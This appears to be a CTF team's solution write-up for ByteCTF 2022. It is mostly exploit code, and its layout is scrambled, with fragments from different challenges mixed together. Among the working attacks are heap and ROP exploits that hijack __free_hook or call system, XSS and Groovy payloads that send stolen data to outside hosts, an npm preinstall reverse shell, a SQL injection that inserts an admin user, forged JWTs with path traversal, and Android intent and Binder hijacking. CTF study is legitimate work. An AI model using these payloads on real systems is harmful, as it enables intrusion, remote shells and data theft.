%2F 构造路径穿越, exp 如下 bytedance 2022 Nu1L Compare from pwn import * import random from fractions import Fraction from Crypto.Util.number import * CHALLENGE_ID = 'c34409b34458e108242ea271d5126481' r = remote(CHALLENGE_ID + '.2022.capturetheflag.fun', 1337, ssl=True) context(log_level='debug') MSG = b'MSG//2**512==0' r.sendlineafter(b'Hello, Give me your expr: ', MSG) for _ in range(100): r.recvuntil(b'n = ') n = int(r.recvline().decode().strip()) r.recvuntil(b'g = ') g = int(r.recvline().decode().strip()) r.recvuntil(b'a = ') a = int(r.recvline().decode().strip()) r.recvuntil(b'b = ') b = int(r.recvline().decode().strip()) inv_b = pow(b, -1, n**2) x = a * inv_b % n**2 r.sendlineafter(b'msg = ', f'{x}'.encode()) r.interactive() PYTHON Silver Droid 离谱题,直接logcat就有IMEI ByteCTF{8606351760878824} service.jar 有个东西 framework.jar 思路: 用 godGiveMeAddService 覆盖 task_activity <script> fetch("https://xxx.com/local_cache/..%2Ffiles%2Fflag").then(x => x.text()).then(x => {document.write(x);fetch("https://webhook.site/3fefdb0a-4e66- 491f-8246-9284dbddb1a2/flag="+x)}); </script> HTML Find IMEI Android MITM static final int TRANSACTION_godGiveMeAddService = 0xDF; case 0xDF: parcel2.enforceInterface("android.app.IActivityManager"); iActivityManager$Stub0.godGiveMeAddService(data.readString(), data.readStrongBinder()); reply.writeNoException(); JAVA 构造中间人服务 package ; import Service; import Context; import Intent; import IBinder; import RemoteException; import Log; import InvocationTargetException; public class FakeService extends Service { String TAG = "CTF1"; private IBinder mbinder; private IBinder old_binder; @Override public void onCreate() { super.onCreate(); try { old_binder = (IBinder)Class.forName("android.os.ServiceManager").getDeclaredM ethod("getService", String.class).invoke(null, "activity_task"); mbinder = new ServerBinder(old_binder); IBinder am = (IBinder)Class.forName("android.os.ServiceManager").getDeclaredM ethod("getService", String.class).invoke(null, Context.ACTIVITY_SERVICE); Parcel data = Parcel.obtain(); Parcel reply = Parcel.obtain(); data.writeInterfaceToken("android.app.IActivityManager"); data.writeString("activity_task"); JAVA com.example.attackmitm android.app. android.content. android.content. android.os. android.os. android.util. java.lang.reflect. android.os. android.os. android.os. android.os. 1. 搞个远程server跑下面那个python脚本,lec是要写的内容 2. go run main.go跑下面的go 生成jwttoken,注意把地址改成远程server地址, 只能用80端口,\..\最后面就是 要写入的文件路径 3. 发现route支持sprig,sprig有个env函数 4. 添加一个响应头 把env里的ag打出来 data.writeStrongBinder(mbinder); try { am.transact(0xDF, data, reply, 0); } catch (RemoteException e) { e.printStackTrace(); } Log.d(TAG, am.toString()); } catch (IllegalAccessException e) { e.printStackTrace(); } catch (InvocationTargetException e) { e.printStackTrace(); } catch (NoSuchMethodException e) { e.printStackTrace(); } catch (ClassNotFoundException e) { e.printStackTrace(); } } public IBinder onBind(Intent intent) { return mbinder; } } microservices package main import ( "time" "web/consts" "fmt" "github.com/golang-jwt/jwt" ) type TokenClaims struct { Username string `json:"username"` ImgUrl string `json:"img_url"` jwt.StandardClaims } var LargeMap = make(map[string]string, 50000) const TokenExpireDuration = time.Hour * 24 * 2 var MySecret = []byte("68D250A037F84EEB8680CB653679CBCA") func GenToken(name string, imgUrl string) (string, error) { c := TokenClaims{ name, imgUrl, jwt.StandardClaims{ ExpiresAt: time.Now().Add(TokenExpireDuration).Unix(), }, } token := jwt.NewWithClaims(jwt.SigningMethodHS256, c) return token.SignedString(MySecret) } func ParseToken(tokenString string) (*TokenClaims, error) { token, err := jwt.ParseWithClaims(tokenString, &TokenClaims{}, func(token *jwt.Token) (i interface{}, err error) { return MySecret, nil }) if err != nil { return nil, consts.InvalidToken } if claims, ok := token.Claims.(*TokenClaims); ok && token.Valid { return claims, nil } return nil, consts.InvalidToken } func main(){ //JWT-TOKEN fmt.Println(GenToken("test", "http://server/\\..\\..\\..\\..\\..\\..\\..\\..\\opt\\traefik\\r outer.yml")) } import argparse from http.server import HTTPServer, BaseHTTPRequestHandler filec = b'''http: routers: router0: entryPoints: - web service: backend0 rule: "PathPrefix(`/api/v1/`) && !Query(`dev=`)" router1: entryPoints: - web service: backend1 rule: "PathPrefix(`/debug/`)" router1: entryPoints: - web service: backend3 middlewares: - "testHeader" rule: "PathPrefix(`/`)" middlewares: testHeader: headers: customResponseHeaders: X-Custom-Response-Header: {{env "FLAG"}} services: backend0: loadBalancer: servers: - url: http://127.0.0.1:8081/ passHostHeader: false backend1: loadBalancer: servers: - url: http://127.0.0.1:6060/ passHostHeader: false backend3: loadBalancer: servers: - url: https://127.0.0.1:8080 passHostHeader: true ''' class S(BaseHTTPRequestHandler): def _set_headers(self): self.send_response(200) self.send_header("Content-type", "text/html") self.end_headers() def do_GET(self): self._set_headers() self.wfile.write(filec) def run(server_class=HTTPServer, handler_class=S, addr="localhost", port=8000): server_address = (addr, port) httpd = server_class(server_address, handler_class) print(f"Starting httpd server on {addr}:{port}") httpd.serve_forever() if __name__ == "__main__": parser = argparse.ArgumentParser(description="Run a simple HTTP server") parser.add_argument( "-l", "--listen", default="0.0.0.0", help="Specify the IP address on which the server listens", ) parser.add_argument( "-p", "--port", type=int, default=80, help="Specify the port on which the server listens", ) args = parser.parse_args() run(addr=args.listen, port=args.port) 一个xss点 需要游戏通关实现XSS,利用iframe.contentWindow.location.replace不断刷新 hash 最后在name中传入js,打/status,限制只能4字节,最后载env命令的回显中发现 ag GET /api/v1/student/query?;dev=true HTTP/1.1 Host: bb76a8ed4adc63ff8531e9fa920bbe14.2022.capturetheflag.fun JWT-Token: 生成的jwt Connection: close typing_game function gameOver() { if (score >= words.length) { const params = new URLSearchParams(window.location.search) const username = params.get('name'); endgameEl.innerHTML = ` <h1>^_^</h1> Dear ${username},Congratulations on your success.Your final score is ${score}`; endgameEl.style.display = 'flex'; } else { score=0 endgameEl.innerHTML = ` <h1>*_*</h1> Try again`; endgameEl.style.display = 'flex'; } } JS <!DOCTYPE html> <head> </head> <body> <iframe width="100%" height="500px" id="iframe" src="http://127.0.0.1:13002/"></iframe> <script> cmd = "env" cmd = `fetch("http://127.0.0.1:13002/status? cmd=${cmd}").then(x=>x.text()).then(x=>fetch("http://your- server?data="+x))` cmd = btoa(cmd) url = "http://127.0.0.1:13002/? name=%3Cimg%20src%3Dx%20onerror%3D'eval(atob(%22"+cmd+"%22))')%3 E" const words = ['web','bytedance','ctf','sing','jump','rap','basketball','hello ','world','fighting','flag','game','happy'] i=0 l=0 iframe.onload = function(){ const w = iframe.contentWindow w.location.replace(url+"#"+words[i]); if(i==12){ i=0; if(l++ > 13){ fetch('/?done') iframe.onload = function(){} } }else{ i++; } } JS CVE-2021-43798 bypass 反代 魔改的控制流平坦化,把下面地址patch能稍微正常反编译 校验输入: sub_403EF0(char *a1) 0-9,A-G,52 字符 方向数组: </script> </body> easy_grafana [*] grafanaIni_secretKey= SW2YcwTIb9zpO1hoPsMm [*] DataSourcePassword= b0NXeVJoSXKPoSYIWt8i/GfPreRT03fO6gbMhzkPefodqe1nvGpdSROTvfHK1I3k zZy9SQnuVy9c3lVkvbyJcqRwNT6/ [*] plainText= ByteCTF{e292f461-285e-47fc-9210-b9cd233773cb} [*] grafanaIni_secretKey= SW2YcwTIb9zpO1hoPsMm [*] PlainText= jas502n [*] EncodePassword= T2pwUTkySm3x+iaVtLb4UbJZ5LX+VDy7wJiB/1tsvQ== SHELL maze6d (CObf Ver.) 404036 call sub_403608 [ 0x00000001, 0x00000000, 0x00000000, 0x00000001, 0xFFFFFFFF, 0x00000000, C 另外一部分每个字节低6位,直接按顺序爆破就行。。。 没回显 groovy ban了很多函数。。 c。。用了openrasp https://2019.pass-the-salt.org/les/slides/12-Hacking_Jenkins.pdf 0x00000000, 0xFFFFFFFF ] bash_game from pwn import * CHALLENGE_ID = 'a1aa3e111e8f007bfd4ad0c2c0504d26' p = remote(CHALLENGE_ID + '.2022.capturetheflag.fun', 1337, ssl=True) p.sendlineafter(b'score',b'score*=-10000') p.sendline(b'wasd'*100) p.interactive() PYTHON easy_groovy https://landgrey.me/blog/15/ def flag = new String(new File("/flag").readBytes()) def expurl = "http://xxx/?" + flag new URL(expurl).getText() PYTHON signin fetch("/api/signin", { method: "POST", body: JSON.stringify({ team_name: "Nu1L Team", team_id: 745 }), headers: { "content-type": "application/json" } }); //team id 从https://ctf.bytedance.com/api/team/info? lang=zh-CN拿 JS OhMySolidity contract Contract { function main() { memory[0x40:0x60] = 0x80; var var0 = msg.value; if (var0) { revert(memory[0x00:0x00]); } if (msg.data.length < 0x04) { revert(memory[0x00:0x00]); } var0 = msg.data[0x00:0x20] >> 0xe0; if (var0 == 0x14edb54d) { // Dispatch table entry for k1() var var1 = 0x006f; var var2 = k1(); var temp0 = memory[0x40:0x60]; memory[temp0:temp0 + 0x20] = var2 & 0xffffffff; var temp1 = memory[0x40:0x60]; return memory[temp1:temp1 + (temp0 + 0x20) - temp1]; } else if (var0 == 0x58f5382e) { // Dispatch table entry for challenge(string) var1 = 0x014a; var2 = 0x04; var var3 = msg.data.length - var2; if (var3 < 0x20) { revert(memory[0x00:0x00]); } var1 = challenge(var2, var3); var temp2 = memory[0x40:0x60]; var2 = temp2; var3 = var2; var temp3 = var3 + 0x20; memory[var3:var3 + 0x20] = temp3 - var3; var temp4 = var1; memory[temp3:temp3 + 0x20] = memory[temp4:temp4 + 0x20]; var var4 = temp3 + 0x20; var var6 = memory[temp4:temp4 + 0x20]; var var5 = temp4 + 0x20; var var7 = var6; var var8 = var4; var var9 = var5; var var10 = 0x00; if (var10 >= var7) { label_018A: var temp5 = var6; var4 = temp5 + var4; var5 = temp5 & 0x1f; if (!var5) { var temp6 = memory[0x40:0x60]; return memory[temp6:temp6 + var4 - temp6]; } else { var temp7 = var5; var temp8 = var4 - temp7; memory[temp8:temp8 + 0x20] = ~(0x0100 ** (0x20 - temp7) - 0x01) & memory[temp8:temp8 + 0x20]; var temp9 = memory[0x40:0x60]; return memory[temp9:temp9 + (temp8 + 0x20) - temp9]; } } else { label_0178: var temp10 = var10; memory[var8 + temp10:var8 + temp10 + 0x20] = memory[var9 + temp10:var9 + temp10 + 0x20]; var10 = temp10 + 0x20; if (var10 >= var7) { goto label_018A; } else { goto label_0178; } } } else if (var0 == 0x93eed093) { // Dispatch table entry for 0x93eed093 (unknown) var1 = 0x01cd; var2 = func_056F(); var temp11 = memory[0x40:0x60]; memory[temp11:temp11 + 0x20] = var2 & 0xffffffff; var temp12 = memory[0x40:0x60]; return memory[temp12:temp12 + (temp11 + 0x20) - temp12]; } else if (var0 == 0x9577a145) { // Dispatch table entry for 0x9577a145 (unknown) var1 = 0x0251; var2 = 0x04; var3 = msg.data.length - var2; if (var3 < 0x80) { revert(memory[0x00:0x00]); } func_0205(var2, var3); stop(); } else if (var0 == 0xa7f81e6a) { // Dispatch table entry for k2() var1 = 0x025b; var2 = k2(); var temp13 = memory[0x40:0x60]; memory[temp13:temp13 + 0x20] = var2 & 0xffffffff; var temp14 = memory[0x40:0x60]; return memory[temp14:temp14 + (temp13 + 0x20) - temp14]; } else if (var0 == 0xf0407ca7) { // Dispatch table entry for 0xf0407ca7 (unknown) var1 = 0x0285; var2 = func_0623(); var temp15 = memory[0x40:0x60]; memory[temp15:temp15 + 0x20] = var2 & 0xffffffff; var temp16 = memory[0x40:0x60]; return memory[temp16:temp16 + (temp15 + 0x20) - temp16]; } else { revert(memory[0x00:0x00]); } } function challenge(var arg0, var arg1) returns (var r0) { var temp0 = arg0; var temp1 = temp0 + arg1; arg1 = temp0; arg0 = temp1; var var0 = arg1 + 0x20; var var1 = msg.data[arg1:arg1 + 0x20]; if (var1 > 0x0100000000) { revert(memory[0x00:0x00]); } var temp2 = arg1 + var1; var1 = temp2; if (var1 + 0x20 > arg0) { revert(memory[0x00:0x00]); } var temp3 = var1; var temp4 = msg.data[temp3:temp3 + 0x20]; var1 = temp4; var temp5 = var0; var0 = temp3 + 0x20; var var2 = temp5; if ((var1 > 0x0100000000) | (var0 + var1 > arg0)) { revert(memory[0x00:0x00]); } var temp6 = var1; var temp7 = memory[0x40:0x60]; memory[0x40:0x60] = temp7 + (temp6 + 0x1f) / 0x20 * 0x20 + 0x20; memory[temp7:temp7 + 0x20] = temp6; var temp8 = temp7 + 0x20; memory[temp8:temp8 + temp6] = msg.data[var0:var0 + temp6]; memory[temp8 + temp6:temp8 + temp6 + 0x20] = 0x00; arg0 = temp7; arg1 = 0x60; var0 = arg0; var1 = 0x00; var2 = 0x08; var var3 = memory[var0:var0 + 0x20]; if (!var2) { assert(); } if (var3 % var2 != var1) { revert(memory[0x00:0x00]); } var1 = 0x60; var temp9 = memory[var0:var0 + 0x20]; var temp10 = memory[0x40:0x60]; var3 = temp9; var2 = temp10; memory[var2:var2 + 0x20] = var3; memory[0x40:0x60] = var2 + (var3 + 0x1f & ~0x1f) + 0x20; if (!var3) { var1 = var2; var2 = 0xdeadbeef; var3 = 0x00; if (var3 >= memory[var0:var0 + 0x20]) { label_0563: return var1; } else { label_032D: var var4 = 0x00; var var5 = 0x00; var var6 = 0x00; var var7 = 0x00; if (var7 & 0xff >= 0x04) { label_03CD: var7 = 0x00; if (var7 & 0xff >= 0x20) { label_047F: var7 = 0x00; if (var7 & 0xff >= 0x04) { label_0554: var3 = var3 + 0x08; if (var3 >= memory[var0:var0 + 0x20]) { goto label_0563; } else { goto label_032D; } } else { label_0493: var temp11 = var7; var var8 = (((var5 & 0xffffffff) >> (0x03 - temp11 * 0x08 & 0xff)) & 0xff) << 0xf8; var var9 = var1; var var10 = var3 + (temp11 & 0xff); if (var10 >= memory[var9:var9 + 0x20]) { assert(); } memory[var10 + 0x20 + var9:var10 + 0x20 + var9 + 0x01] = byte(var8 & ~0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff f, 0x00); var temp12 = var7; var8 = (((var6 & 0xffffffff) >> (0x03 - temp12 * 0x08 & 0xff)) & 0xff) << 0xf8; var9 = var1; var10 = var3 + (temp12 & 0xff) + 0x04; if (var10 >= memory[var9:var9 + 0x20]) { assert(); } memory[var10 + 0x20 + var9:var10 + 0x20 + var9 + 0x01] = byte(var8 & ~0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff f, 0x00); var7 = var7 + 0x01; if (var7 & 0xff >= 0x04) { goto label_0554; } else { goto label_0493; } } } else { label_03E1: var temp13 = var4 + var2; var4 = temp13; var temp14 = var6; var temp15 = var5 + (((temp14 & 0xffffffff) << 0x04) + (storage[0x00] & 0xffffffff) ~ temp14 + var4 ~ ((temp14 & 0xffffffff) >> 0x05) + (storage[0x00] / 0x0100 ** 0x04 & 0xffffffff)); var5 = temp15; var6 = temp14 + (((var5 & 0xffffffff) << 0x04) + (storage[0x00] / 0x0100 ** 0x08 & 0xffffffff) ~ var5 + var4 ~ ((var5 & 0xffffffff) >> 0x05) + (storage[0x00] / 0x0100 ** 0x0c & 0xffffffff)); var7 = var7 + 0x01; if (var7 & 0xff >= 0x20) { goto label_047F; } else { goto label_03E1; } } } else { label_034E: var temp16 = var7; var8 = 0x03 - temp16 * 0x08 & 0xff; var9 = var0; var10 = var3 + (temp16 & 0xff); if (var10 >= memory[var9:var9 + 0x20]) { assert(); } var5 = var5 + (((((memory[var10 + 0x20 + var9:var10 + 0x20 + var9 + 0x20] >> 0xf8) << 0xf8) >> 0xf8) & 0xff) << var8); var temp17 = var7; var8 = 0x03 - temp17 * 0x08 & 0xff; var9 = var0; var10 = var3 + (temp17 & 0xff) + 0x04; if (var10 >= memory[var9:var9 + 0x20]) { assert(); } var6 = var6 + (((((memory[var10 + 0x20 + var9:var10 + 0x20 + var9 + 0x20] >> 0xf8) << 0xf8) >> 0xf8) & 0xff) << var8); var7 = var7 + 0x01; if (var7 & 0xff >= 0x04) { goto label_03CD; } else { goto label_034E; } } } } else { var temp18 = var3; memory[var2 + 0x20:var2 + 0x20 + temp18] = code[code.length:code.length + temp18]; var1 = var2; var2 = 0xdeadbeef; var3 = 0x00; if (var3 >= memory[var0:var0 + 0x20]) { goto label_0563; } else { goto label_032D; } } } function func_0205(var arg0, var arg1) { var temp0 = arg0; var temp1 = temp0 + 0x20; arg0 = msg.data[temp0:temp0 + 0x20] & 0xffffffff; var temp2 = temp1 + 0x20; arg1 = msg.data[temp1:temp1 + 0x20] & 0xffffffff; var var0 = msg.data[temp2:temp2 + 0x20] & 0xffffffff; var var1 = msg.data[temp2 + 0x20:temp2 + 0x20 + 0x20] & 0xffffffff; storage[0x00] = (arg0 & 0xffffffff) | (storage[0x00] & ~0xffffffff); storage[0x00] = (arg1 & 0xffffffff) * 0x0100 ** 0x04 | (storage[0x00] & ~(0xffffffff * 0x0100 ** 0x04)); storage[0x00] = (var0 & 0xffffffff) * 0x0100 ** 0x08 | (storage[0x00] & ~(0xffffffff * 0x0100 ** 0x08)); storage[0x00] = (var1 & 0xffffffff) * 0x0100 ** 0x0c | (storage[0x00] & ~(0xffffffff * 0x0100 ** 0x0c)); } function k1() returns (var r0) { return storage[0x00] / 0x0100 ** 0x04 & 0xffffffff; } function func_056F() returns (var r0) { return storage[0x00] & 0xffffffff; } function k2() returns (var r0) { return storage[0x00] / 0x0100 ** 0x08 & 0xffffffff; } function func_0623() returns (var r0) { return storage[0x00] / 0x0100 ** 0x0c & 0xffffffff; } } from ctypes import * from binascii import unhexlify def decipher(v, k): PYTHON 注册时sql注入,插一个admin用户进去 y = c_uint32(v[0]) z = c_uint32(v[1]) sum = c_uint32(0xd5b7dde0) delta = 0xdeadbeef n = 32 w = [0,0] while(n>0): z.value -= ( y.value << 4 ) + k[2] ^ y.value + sum.value ^ ( y.value >> 5 ) + k[3] y.value -= ( z.value << 4 ) + k[0] ^ z.value + sum.value ^ ( z.value >> 5 ) + k[1] sum.value -= delta n -= 1 w[0] = y.value w[1] = z.value return w if __name__ == "__main__": key = [0x44332211, 0xaabbccdd, 0x87654321, 0x12345678][::-1] cipher = "a625e97482f83d2b7fc5125763dcbbffd8115b208c4754eee8711bdfac9e337 7622bbf0cbb785e612b82c7f5143d5333" flag = '' for i in range(0, len(cipher), 16): v = [int(cipher[i:i+8], 16), int(cipher[i+8:i+16], 16)] dec = decipher(v,key) flag += hex(dec[0])[2:].zfill(8) + hex(dec[1]) [2:].zfill(8) print(unhexlify(flag)) ctf_cloud 登录后传一个package.json,利用preinstall执行命令 然后传一个依赖 最后npm i {"username":"4","password":"1', 0),('admin','123',1); -- "} POST /dashboard/upload Content-Disposition: form-data; name="file"; filename="package.json" { "name": "userapp", "version": "0.0.1", "dependencies": { }, "scripts": { "preinstall":"bash -c 'bash -i >& /dev/tcp/ip/port 0>&1'" } } POST /dashboard/dependencies {"dependencies":{ "npm_test": "file:///usr/local/app/public/app/public/uploads/"}} POST /dashboard/run Choose_U_Flag from pwn import * import numpy as np from sympy import ZZ, Poly PYTHON 0xD0A0存了一个奇怪地址 [anon_7faa3edaf] +0x54a8 ,这个在libc后面的一块 mmap区域里面。 fs= 0x7faa3eb91740 ptr=0x7faa3edb44a8 Case4: from sympy.abc import x from ast import literal_eval # io = process(['./wscat', '--endpoint', 'wss://telnet.2022.capturetheflag.fun/ws/be3e3d8bbd31e290dcf256d 918856c1b']) N = 107 R_poly = Poly(x ** N - 1, x).set_domain(ZZ) io.recvuntil(b'key coeffs: ') key_coeffs = literal_eval(io.recvline().decode().strip()) key_poly = Poly(key_coeffs, x).set_domain(ZZ) my_poly = key_poly + R_poly my_coeffs = my_poly.all_coeffs() io.sendlineafter(b'decrypt data >', str(my_coeffs).encode()) io.recvuntil(b'decrypt coeffs: ') decrypt_result = literal_eval(io.recvline().decode().strip()) decrypt_result = [0] * (96-len(decrypt_result)) + decrypt_result res = np.packbits(decrypt_result).tobytes() io.sendlineafter(b'u key > ', res) io.interactive() mini_http2 里面调用了两次mywrite,会把0xD0AC的值(4字节)打印出来 一些验证: Case4暂时没看到洞,作用应该是设置(settings) libc 2.35。 有堆地址泄漏和堆溢出写。但是堆环境比较复杂。 libc也有泄漏,需要根据泄漏的libc地址,算出上面的奇怪偏移,然后写入system。 username填/bin/sh应该就行了。 这个奇怪地址是 free_hook,leak libc就能知道这个地址,如果能任意地址申请,申 请到这上面然后改成system,再调用myexit就行 S1:PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n ptr[3] == 4 stack_var[0] << 8 + stack_var[1] == 2 ptr_for_9byte ‘ length < 0x3ffe ptr_for_9byte[3] == 4 ptr_for_9byte[4] == 1 from pwn import * import json #context.log_level='debug' context.arch='amd64' context.terminal=['lxterminal','-e'] CHALLENGE_ID = "c5e173090aadbc2b736dec6a8fb68dc2" p = remote(CHALLENGE_ID + '.2022.capturetheflag.fun', 1337, ssl=True) #p=process("./pwn",env={"LD_LIBRARY_PATH":"."}) PYTHON #p=remote("localhost",6666) libc=ELF("./libc.so.6")#ELF("/usr/lib/libc.so.6") #gdb.attach(p) #time.sleep(1) def p32be(x): return p32(x)[::-1] def do_req_82(url=b''): req=b'' req+=b'\x82' req+=b'\x86' req+=b'D' req+=p32be(len(url)) req+=url payload=p32(len(req))[:3][::-1] payload+=b'\x01' payload+=b'\x05' #5 payload+=b'\x00\x00\x00\x00' return payload+req def do_req_83(url=b'',extra=b''): r=bytearray(do_req_82(url)) r[9]=0x83 req1=b'' req1+=p32(len(extra))[:3][::-1] req1+=b'\x00' req1+=b'\x00\x00\x00\x00\x00' # 9 return r+req1+extra def rcvout(): p.recvn(10) l=u32((b'\x00'+p.recvn(3))[::-1]) p.recvn(6) return p.recvn(l) p.send(do_req_82(b'/register?username=sh;&password=a')) print(rcvout()) p.send(do_req_82(b'/login?username=sh;&password=a')) tmp=rcvout().replace(b"'", b'"') # leak strstr print(tmp) strstr=int(json.loads(tmp)["gift"][2:],16) print(hex(strstr)) #exit(0) libc.address=strstr-0xc4200 #-0x7ffff7ca9040+0x7ffff7c00000#-0x7ffff7e4c920+0x7ffff7daf000 print("libc",hex(libc.address)) #for _ in range(5): pay=json.dumps({"name":'a'*0x80,'desc':"b"*0x80}).encode() p.send(do_req_83(b'/api/add_worker',pay)) tmp=rcvout() print(tmp) # leak heap addr target=int(json.loads(tmp)['name_addr'][2:],16) #exit(0) p.send(do_req_83(b'/api/del_worker',b'{"worker_idx":0}')) rcvout() p.send(do_req_83(b'/api/add_worker',pay)) print(rcvout()) # leak heap addr to_write=libc.sym['__free_hook']-0x78 print("to_write",hex(to_write),"target",hex(target)) #target=0x5555555627b0 ptr=p64(to_write^(target>>12))[:6] pay=b'{"name":"'+b'a'*(0xb0- 0x20)+ptr+b'","desc":"b","worker_idx":0}' p.send(do_req_83(b'/api/edit_worker',pay)) p.send(do_req_83(b'/api/del_worker',b'{"worker_idx":0}')) rcvout() #input() #pay=json.dumps({"name":'c'*0x80,'desc':'d'*0x78+p64(libc.sym['s ystem'])}).encode() pay=b'{"name":"'+b'c'*0x80+b'","desc":"'+b'd'*0x78+p64(libc.sym[ 'system'])[:6]+b'"}' p.send(do_req_83(b'/api/add_worker',pay)) print(rcvout()) # leak heap addr intent 重定向,利用 startActivityForResult 获取返回经过授权的 intent #p.send(do_req_83(b'/api/add_worker',pay)) #print(rcvout()) # leak heap addr #input() p.send(do_req_82(b'/exit')) #p.send(do_req_83(b'/api/edit_worker',pay)) #print(rcvout()) #p.send(do_req_83(b'/api/show_worker',b'{"worker_idx":0}')) #print(rcvout()) p.interactive() Bronze Droid public class MainActivity extends AppCompatActivity { private void getFlag() { String pwnUri = "content://com.bytectf.bronzedroid.fileprovider/root/data/data/c om.bytectf.bronzedroid/files/flag"; Intent evil = new Intent("ACTION_SHARET_TO_ME"); evil.setClassName("com.bytectf.bronzedroid", "com.bytectf.bronzedroid.MainActivity"); evil.setData(Uri.parse(pwnUri)); evil.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION | Intent.FLAG_GRANT_WRITE_URI_PERMISSION); Log.d("CTF1", "flags:" + evil.getFlags()); startActivityForResult(evil, 3); } @Override protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { super.onActivityResult(requestCode, resultCode, data); JAVA Log.d("CTF1", "flags:" + data.getFlags()); Uri data1 = data.getData(); try { InputStreamReader isr = new InputStreamReader(getContentResolver().openInputStream(data1)); char[] buf = new char[1024]; StringBuffer sb = new StringBuffer(""); while (true) { try { if (!(-1 != isr.read(buf, 0, 1024))) break; } catch (IOException e) { e.printStackTrace(); } sb.append(String.valueOf(buf)); } String flag = new String(sb); Net.get(flag); Log.d("CTF1", flag); } catch (IOException e) { e.printStackTrace(); } } @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // File imagePath = new File(this.getFilesDir(), ""); // File newFile = new File(imagePath, "flag"); // Uri contentUri = getUriForFile(this, "com.bytectf.bronzedroid.fileprovider", newFile); // Log.d("CTF1", contentUri.toString()); getFlag(); } } ComeAndPlay import angr import claripy from pwn import * import base64 #context.log_level = "debug" CHALLENGE_ID = 'bd7839f501e0d4b89cc88ef1b9665135' sh = process(['./wscat', '--endpoint', 'wss://telnet.2022.capturetheflag.fun/ws/' + CHALLENGE_ID]) sh.recvuntil("--------\n\n\n") text = sh.recvuntil("==\n") print(text) a = base64.b64decode(text) open("ComeAndPlay/elfx","wb").write(a) context.arch='amd64' context.terminal=['lxterminal','-e'] def get_entry_code(f, target): base = 0x400000 proj = angr.Project(f, load_options={"auto_load_libs": False}) state = proj.factory.call_state(addr=base+0x134E) state.options |= {angr.options.LAZY_SOLVES} init_rdi = claripy.BVS("init_edi", 32) state.regs.edi = init_rdi PYTHON simgr = proj.factory.simulation_manager(state) r = simgr.explore(find=base+target) return r.found[0].solver.eval(init_rdi, cast_to=int) TARGET = "ComeAndPlay/elfx" elf = ELF(TARGET) FIND_OFF = 0 for line in elf.disasm(0x134E, 500).splitlines(): if 'mov DWORD PTR [rbp-0x4], 0x0' in line: FIND_OFF = int(line.split(':')[0], 16) break RSP_OFF = int(elf.disasm(0x1356, 0x7).split("rsp, ")[-1], 16) CANARY2 = int(elf.disasm(0x13D4, 0x4).split("[rbp-") [-1].replace('], rax', ''), 16) LEN_TO_CANARY=RSP_OFF - CANARY2 - 0x10 LEN_TO_RETADDR=int(elf.disasm(0x136a, 0x7).split("[rbp-")[-1] [:-1], 16)+8 OFFSET_POPRDI_RET=next(elf.search(asm("pop rdi; ret"), executable=True)) PUTS_PLT=elf.plt['puts'] PUTS_GOT=elf.got['puts'] READ_GOT=elf.got['read'] CSU_POPRBX=next(elf.search(asm("pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret"), executable=True)) CSU_SETRDX=next(elf.search(asm("mov rdx, r14; mov rsi, r13; mov edi, r12d; call qword ptr [r15+rbx*8]"), executable=True)) CANARY_CONST=int(elf.disasm(0x13CD, 7).split('# ')[1], 16) print("RSP_OFF = ", hex(RSP_OFF)) print("LEN_TO_CANARY = ", hex(LEN_TO_CANARY)) print("LEN_TO_RETADDR = ", hex(LEN_TO_RETADDR)) print("OFFSET_POPRDI_RET = ", hex(OFFSET_POPRDI_RET)) print("PUTS_PLT = ", hex(PUTS_PLT)) print("PUTS_GOT = ", hex(PUTS_GOT)) print("READ_GOT = ", hex(READ_GOT)) print("CSU_POPRBX = ", hex(CSU_POPRBX)) print("CSU_SETRDX = ", hex(CSU_SETRDX)) print("CANARY_CONST = ", hex(CANARY_CONST)) print("FIND_OFF = ", hex(FIND_OFF)) code = get_entry_code(TARGET, FIND_OFF) print("code = " , code) #libc=ELF("/lib/x86_64-linux-gnu/libc.so.6") libc=ELF("ComeAndPlay/libc.so") p = sh #p=process([TARGET, str(code)]) p.sendline(str(code)) base=0b10101<<42 #guess 42 bits for bpos in range(41,11,-1): p.sendlineafter(b'play\n',b'1') p.sendafter(b'Russian Roulette!\n', p64(base)+p64(1<<bpos)) #print() r=p.recvline() if b'Lose' in r: # bit=0 continue else: # bit=1 base|=1<<bpos p.sendlineafter(b'play\n',b'2') pay= (b'a'*LEN_TO_CANARY+p64(base+0x1269)).ljust(LEN_TO_RETADDR,b'a') 可以用lter人工查流量(过滤表达式和分析过程如下),也可以非预期做。 非预期:binwalk scap,发现一个400 * 400 png文件,解包扫码得ag前半部分。然 后strings scap | grep } 找到ag后半部分。 pay+=p64(base+OFFSET_POPRDI_RET)+p64(base+PUTS_GOT)+p64(base+PUT S_PLT) #leak #CSU pay+=p64(base+CSU_POPRBX)+p64(0)+p64(1)+p64(0)+p64(base+PUTS_GOT )+p64(16)+p64(base+READ_GOT)+p64(base+CSU_SETRDX) pay+=p64(0)*7 pay+=p64(base+OFFSET_POPRDI_RET+1)+p64(base+OFFSET_POPRDI_RET)+p 64(base+PUTS_GOT+8)+p64(base+PUTS_PLT) p.sendafter(b'Stud?\n',pay) p.recvline() leak=p.recvline()[:-1]+b'\x00\x00' print(leak) assert(len(leak)==8) leak=u64(leak)-libc.sym['puts'] p.send(p64(libc.sym['system']+leak)+b'/bin/sh\x00') p.sendline("cat /flag") p.interactive() #print(hex(base)) find_it sysdig.thread_id==1321 and sysdig.event_type>=6 and sysdig.event_type<=9 c79be41error/ 2022-08-15 16:25:11 4096 0700 ./ 2022-08-15 20:52:41 4096 0700 think/ 2022-08-15 17:35:31 4096 0777 ../ 2022-08-15 20:17:45 4096 0700 3.scap 2022-08-15 20:18:38 20327120 0644 183428 write to nothing.sh 203650 bash nothing.sh .user.ini 2022-08-15 16:55:15 58 0644 nothing.png 2022-08-15 20:46:13 2253 0664 think-5.1.10.zip 2022-08-15 17:30:42 21182 0700 2c762fa9 ·· · · #!/bin/bash openssl enc -aes-128-ecb -in nothing.png -a -e -pass pass:"KFC Crazy Thursday V me 50" -nosalt; t9TEcCIM29OHTKzu1NZwrU7BExE6Xu0lxN7nuG7ssKmqj+ZRb6w6wpdLb0fGn6YT 